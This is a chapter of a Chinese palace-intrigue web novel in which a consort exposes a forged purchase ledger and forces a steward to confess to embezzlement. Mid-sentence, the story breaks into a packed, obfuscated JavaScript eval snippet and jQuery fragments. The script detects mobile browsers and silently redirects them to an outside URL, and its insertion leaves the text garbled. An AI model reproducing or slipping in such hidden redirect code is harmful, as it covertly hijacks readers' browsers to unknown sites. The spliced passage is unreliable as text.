45.45、
作品:《玉烬成霜》 45、
殿中静得落针可闻,唯有小福子压抑不住的、如同残喘般的抽泣声。慎刑司太监铁塔似的立在他身后,腰间铁尺反射的冷光斜斜劈在青砖上,将跪着的人影切成两半。
宋瑜微的目光从沈贵妃冰冷的脸上收回,重新落向堂下,看着看那团抖如筛糠的身影,直到对方忍不住发出了细细碎碎的呜咽,他才终于启唇——
他的声音不高,却带着一股奇异的穿透力,像春溪融冰时漫过青石的水流,明明温吞却让殿中每个人的后颈都泛起凉意:“小福子,你抬起头来。”
小福子的身躯一颤,脖颈像被无形的手拎起般缓缓抬起,但只飞快地瞥了宋瑜微一眼,又将脑袋重新磕在地砖上。
“本君记得,”他并未再次催促,而是声音再次放柔,“你家中尚有一位寡母和一个小弟需供养,是不是?他们现在可还好?”
“回……回主子,是……”小福子的声音微弱,然而在这人人屏息静气的殿中,他的声线细如游丝却字字清晰,“多谢主子挂心,他们……他们还好……”
“既有高堂幼弟,便更该爱惜自身。”宋瑜微的语气听不出喜怒,平静之中却自有一股震慑,“当着贵妃娘娘和本君的面,将你在景仁宫说过的话,再一五一十地说一遍。你,为何要在采买时虚报账目,私吞银两?”
“私吞”二字一出,小福子像是被针扎了一般,猛地抬起头,脸上挂满泪水和惊恐。他下意识地朝沈贵妃的方向瞥了一眼,那一眼,如同溺水之人望向岸边的凶鳄。
绯红的宫装燃烧如烈焰,沈贵妃端坐如仪,指尖在紫檀雕花椅的扶手上轻轻地敲着,眼底翻涌的寒意,漫阶而下。
小福子猛地浑身一颤,下一刻他突然爆发出撕裂般的哭喊,声泪俱下:“奴才没有私吞!回主子、回娘娘!奴才……奴才见主子为内学堂日夜操劳,又清苦自持,便……便斗胆虚报了采、采买的数目,想为主子换上全套最好的徽州笔墨,让主子用得顺心些!奴才、奴才知道主子甚少过问这些杂务琐事,所以就……就放肆——全是奴才一人自作主张!求娘娘明鉴,求主子开恩啊!”
话音未落,他已如断了线的傀儡一般,轰然伏倒,额头重重地磕在地上,泣不成声。
殿中阴影处,沈贵妃的唇角终于勾出了一丝淡淡的笑意,眼神却像淬了毒的钩子,直直地钉在宋瑜微身上。她一声冷笑,满殿皆寒:“贤君可都听仔细了?这般为着主子连宫规都敢踩在脚下的忠仆,倒真是打灯笼都难找。”她抬手拂过金凤步摇的垂珠,嗤声接道,“瞧瞧这孝心——为着给你置副好墨,就能把采买账目搅得乱如麻,不知者还当是你贤君平日里苛待下人,逼得奴才们只能用这歪法子表忠心呢。”
她眼波流转,形若柳叶的眉蹙起,似在为了小福子的遭遇而唏嘘,就听她沉吟着道:“既是为着贤君才犯的错,本宫瞧着……罚二十板子,再扣半年月例,让他记着规矩也就够了。”
稍作一顿,她的唇角微扬,一句“贤君,你觉得呢?”轻飘飘地落进宋瑜微耳中,却带着千钧之力,载着这话中解不开的死结:
若应下,便是默认小福子“为己贪墨”,彻查后宫的懿旨成了废纸;
若驳回,重罚“忠仆”则坐实苛酷,寒了满殿人心。
所有人的目光钉在那身鸦青朝服上。宋瑜微眼眸微垂,原是不见情绪的脸上竟也因着略略弯起的嘴角,而似添了一份玩味。
“娘娘说的是,这般赤诚待主的心意,倒是宫里头少见的。”他缓缓转向伏在地上的小福子,当那道目光落至对方颤抖的肩背时,声线里竟漫出一丝温煦:“你方才说,想为本君置一套徽州笔墨?”
小福子猛地抬头,泪眼模糊中撞上宋瑜微含笑的眼——那笑意未达眼底,反似深潭映着寒星,直让他后颈的寒毛根根倒竖。
然他的声线依然平和无波:“你且说说,是徽州哪家的墨锭,能让你连宫规都抛在脑后了?”
这一问,如同一根烧红的铁钎,精准地捅进了棉花里,看似无声无息,却让小福子整个人都僵住了。他张口结舌,脸憋得通红,半晌才挤出几个字:“是……是……就是那个……最有名的……”
“哦?最有名的?”宋瑜微唇角的玩味更深,他好整以暇地追问,“是惜字斋,还是观云堂?是‘玄玉光’,还是‘秋泓’?你为本君‘费尽心思’,总该知道名字吧?”
一连串的名号砸下来,小福子已是面无人色,抖得不成样子,一个字也答不上来。
殿中气氛陡然变得微妙。
沈贵妃的脸色沉了下来,,面上却强扯出笑意:“一个没见过世面的小奴才,哪识得徽州笔墨的讲究?贤君何苦跟个下人较真?”
“娘娘说的是。”宋瑜微垂眸颔首,似是无心与沈贵妃辩驳。他转向堂下,目光却越过了已然瘫软的小福子,忽然扬声打破凝滞的寂静:“小福子不懂,但经手此事的内尚署管事,想必是清楚的。”
他抬眼,目光众人,面色忽如寒铁,声线陡然拔高:“传——内尚署内库房管事,王有才!”
这声命令裹挟着凛然寒意,两名膀大腰圆的内侍轰声应诺,不等殿中诸人有所反应,便已夹着个紫袍中年人入内,正是內尚署管事王有才,他身材微胖,无须的白面上抖出一份带着惊惶的恭敬,向宋瑜微跪地施礼,口中道:“奴才王有才,见过贵妃娘娘,见过宋贤君。”
宋瑜微端坐主位,目光如刀凿般钉在堂下,并未即刻叫起。王有才伏在青砖上,额上很快便渗出了一层细密的汗珠。
“王管事,”宋瑜微的声线突然划破沉寂,平直得如同檐角垂落的冰棱,“上月明月殿采买簿上,'' 惜字斋玄玉光墨三锭,银百二十两 '' 这笔账,是你亲手画的花押?”
王有才偷瞄向沈贵妃客座的方向,却见那身绯红宫装纹丝不动,他只得抬手,用袍袖按了几按额头上,拭去流淌下来的汗水,才结结巴巴地道:“回……回君侍……确……确有此事。小福子这奴才……心系主子,奴才见他一片忠心,又是为了贤君您的教习大业,便……便允了此事。”
“哦?是吗?”宋瑜微唇角
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009108|177100||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扬起了的笑意,较寒冬腊月更冷上三分,“原是王管事这般体恤,连忠仆贪墨的账都肯亲手画押,本君可得承了这天大的人情才好。”
他朝侍立一旁的范公递了个眼色,苍老内侍即刻躬身退下。待木盘呈上时,殿中诸人皆望见盘里那锭墨——色泽灰败如旧瓦,边角磕出缺痕,松烟纹理粗疏得能看见气泡,分明是内务府按月发放的最低等松烟墨。
“这便是本君案头常用的墨。”笑意从他眼底骤然褪去,眸光锐利如出鞘寒刃,声线却平得像未起波澜的古井,“若有异议——”
他屈指叩向那锭劣墨,松烟碎屑簌簌落在盘中,“本君可当场研墨挥毫,取内学堂的批注簿来对照。瞧瞧那些朱批墨痕,究竟是用百二十两一锭的玄玉光写的,还是这……粗劣的贱物。”
一时之间,殿内鸦雀无声,跪伏在地的王有才和小福子都不觉更加瑟缩了身子。
宋瑜微轻轻摆手,范公会意,将木盘端至客座,屈身捧到沈贵妃面前,细声道:“请贵妃娘娘过目。”
沈贵妃眼光骤然一寒,像驱赶蝇虫一般挥了挥手,范公退了半步,宋瑜微平静的声音适时响起:“沈娘娘可需臣书写验墨?”
“不必。”这两字犹如硬石一般从沈贵妃牙缝间挤出,直落到地上。
宋瑜微闻言,唇角最后一丝浅淡笑意骤然敛尽,眉骨间漫开的肃杀之气如霜覆寒潭。他不再瞥向客座上脸色铁青的沈贵妃——他今日要做的,是当众折断她那根惹是生非的鱼竿。
他的目光如铁犁翻土般缓缓垂下,落在堂下王有才身上。那人面如死灰的面颊正不受控制地抽搐,前襟已被冷汗浸出深色云纹。
“王管事,”他的声音平静下来,却比刚才的质问更让人胆寒,“事到如今,还有什么要辩解的?”
王有才喉咙里发出嗬嗬声响,瘫软的手肘撑不住身体,"咚" 地磕在地上。他浑浊的眼珠飞快转动,先扫过旁边同样瘫成烂泥的小福子,又望向主位上那身鸦青朝服——
他突然如遭雷击般膝行上前,额头撞地的闷响连串炸开,像急雨砸在铜盆上:“君侍饶命!君侍饶命!奴才该死!奴才罪该万死!是奴才……是奴才一手策划的!是奴才见小福子新来不懂事,哄骗他、威逼他,让他去认的罪!”
“为何做下这等事?百二十两银子去了何处?”宋瑜微上身微倾,声若金石。
“是奴才……是奴才一时利欲熏心!”王有才涕泪横流,语无伦次,连连磕头,“奴才在宫外赌坊欠了债,才……才想出这个法子,伪造账目,想把这笔亏空填上!那笔银子……都、都被奴才拿去还了赌债!和小福子无关,也和……和任何主子都无关!求贤君主子看在奴才侍奉宫中多年的份上,饶奴才一命!”
话音未落,客座上绯红宫装骤然扬起。沈贵妃起身时金凤步摇剧烈晃动,她盯着宋瑜微白泽补子上的鎏金独角,声冷如霜:“贤君好手段。”
说完,也不再看殿中众人一眼,转身拂袖,顷刻间,当值宫娥们便簇拥着那团火焰般的身影消失在了殿门外。